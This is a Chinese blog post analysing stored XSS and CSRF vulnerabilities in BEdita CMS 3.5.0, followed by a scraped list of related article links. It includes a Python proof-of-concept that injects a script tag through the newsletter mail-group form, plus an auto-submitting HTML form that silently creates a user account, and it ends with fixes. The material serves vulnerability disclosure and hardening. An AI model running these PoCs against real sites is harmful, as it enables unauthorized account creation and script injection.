[漏洞分析] BEdita CMS 3.5.0中存储型XSS与CSRF漏洞分析
来源:互联网 发布:eview触摸屏软件 编辑:程序博客网 时间:2024/06/06 03:13
软件的官网为:http://www.bedita.com/download-bedita
其中存在两个漏洞分别是存储型XSS与CSRF漏洞。漏洞编号为:EDB-ID:36265 OSVDB-ID:118984,118985,119052
一、漏洞验证
1.1 存储型XSS
首先需要找到漏洞存在的位置,步骤如下:
在首页点击newsletter
点击Subscriber下面的import
随后点击create new list
然后在list name处输入XSS PAYLOAD
<script>alert(/xss test/);</script>
提交PAYLOAD时的数据包如下,蓝色的部分为PAYLOAD:
最后点击Subscriber lists,当显示列表时,之前输入的PAYLOAD会弹出一个窗口,表示PAYLOAD被执行,存储型XSS存在
此页面显示时的数据包如下,可见PAYLOAD没有经过处理,直接返回给浏览器执行
1.2 CSRF
在首页点击users,如箭头所示。
随后点击左边栏中的New user
随后添加一个名为navyofficer的用户,资料填写完毕之后,点击CREATE保存
提交时的数据包如下,从中可以看出相应的参数
点击左边栏中的Users,可见刚刚新添加的用户
此时在攻击者控制的域下构造如下的HTML页面,利用社工等方法让用户访问
当用户访问到此网页时,会构造一个合法的POST请求,功能是添加用户。由于关键字段都是隐藏的,因此用户并不知道具体的操作是什么。
随后查看现有用户,发现通过CSRF添加的用户被成功添加。
二、POC代码
2.1 XSS
下面为一个python的POC代码。代码模拟了POST提交XSS PAYLOAD的过程,能够将PAYLOAD直接存放在网站中
#!/usr/bin/python#-*-coding:utf-8-*-import urllibimport urllib2url = 'http://[HOST]/index.php/newsletter/saveMailGroups'header = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','Referer': 'http://[HOST]/index.php/newsletter/viewMailGroup/','Cookie': 'CAKEPHP=oog6bque2q3a7ncfuaoghlg9d0','Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded','Content-Length': '539' }data = 'data%5BMailGroup%5D%5Bid%5D=&data%5BMailGroup%5D%5Bgroup_name%5D=%3Cscript%3Ealert%28%2Fxss+test%2F%29%3B%3C%2Fscript%3E&data%5BMailGroup%5D%5Barea_id%5D=1&data%5BMailGroup%5D%5Bvisible%5D=1&data%5BMailGroup%5D%5Bsecurity%5D=none&data%5BMailGroup%5D%5Bconfirmation_in_message%5D=Hi+%5B%24user%5D%2C+%0D%0A%0D%0Ayour+subscription+is+now+active%2C+soon+you%27ll+receive+the+%22%5B%24title%5D%22+newsletter.&data%5BMailGroup%5D%5Bconfirmation_out_message%5D=Hi+%5B%24user%5D%2C+%0D%0A%0D%0Ayou+have+been+unsubscribed+from+%22%5B%24title%5D%22'req = urllib2.Request(url,data,header)response = urllib2.urlopen(req)print 'XSS ATTACK DONE'
(备注:代码中的[HOST]内容按照实际情况换成相应的内容)
它会发送如下的数据包:
2.2 CSRF
官方给出的利用代码,需要利用社会工程学的方法诱使用户点击提交按钮,我将其进一步优化,使得攻击者伪造的表单在用户访问的时候能够自动提交。
<html><body>CSRF ATTACK POC<form action="http://[HOST]/index.php/users/saveUser" name="form1" method="POST"><input type="hidden" name="data[User][auth_type]" value="bedita" /><input type="hidden" name="data[User][userid]" value="CSRF-POC_ADDED_USER" /><input type="hidden" name="pwd" value="CSRFPOC" /><input type="hidden" name="data[User][passwd]" value="CSRFPOC" /><input type="hidden" name="data[User][realname]" value="csrf-poc" /><input type="hidden" name="data[User][email]" value="csrf-poc@admin.com" /><input type="hidden" name="data[User][valid]" value="1" /></form><script>document.form1.submit();</script></body></html>(备注:代码中的[HOST]内容按照实际情况换成相应的内容)
相应的交互过程如下:
三、加固手段
3.1 XSS
可以利用htmlspecialchars函数,在用户输入的PAYLOAD被返回给浏览器时转化成HTML实体,这样的话,PAYLOAD就是一个普通的字符串显示在浏览器中,而不是一个可以被浏览器执行的脚本语句。
3.2 CSRF
防御CSRF最好的方法是利用Anti CSRF Token,但此处可以利用更简单的方法:我们看到添加用户的HTTP请求头中有Referer: http://[HOST]/index.php/users/viewUser
而在发起CSRF攻击时,Referer头是来自bedita这个web应用之外的,因此可以通过检查这个部分来判断请求是否是一个攻击。
数据包的对比如下:
但是,Referer头不一定总有,届时可以利用token的方法。
- [漏洞分析] BEdita CMS 3.5.0中存储型XSS与CSRF漏洞分析
- xss漏洞简要分析
- pentesterlab xss漏洞分析
- XSS漏洞分析
- 一次解决存储型xss和csrf漏洞的简单方法
- 齐博cms老漏洞分析
- 齐博cms 7.0 漏洞分析
- 存储型XSS与反射型XSS漏洞
- xss漏洞和csrf漏洞防御
- WP Super Cache <=1.4.2 存储型XSS漏洞分析
- web安全 XSS、CSRF 漏洞、SQL 注入漏洞,跳转漏洞
- [漏洞分析] Wolf CMS 0.8.2中任意文件上传漏洞
- PHP168 CMS的一次新异漏洞分析
- JSONP存在的JSON Hijacking漏洞以及与csrf/xss漏洞的关系
- 存储型xss漏洞的探测方法
- WordPress < 4.1.2 存储型XSS漏洞
- 通过DVWA学习存储型XSS漏洞
- 解决webx的xss和csrf漏洞
- Android编码规范风格指导(翻译)
- 计算二叉树宽度——层次遍历
- 4/28纪实——HCBA项目
- 在facebook上做app, 需要提交privacy policy url的解决办法
- android中EditText插入用户名(块)效果(EditText插入图片)
- [漏洞分析] BEdita CMS 3.5.0中存储型XSS与CSRF漏洞分析
- 2754: C++习题-快速排序
- 在main()之前,IAR都做了些什么工作
- 《佐贺的超级阿嬷》读后感
- Java知识(006)--数组
- 黑马程序员—【Java高新技术】之反射
- 关于myeclipse 连接 sql server
- Cell中实现高效的下载图片及强大的SDWebImage(2015428)
- poj2442 堆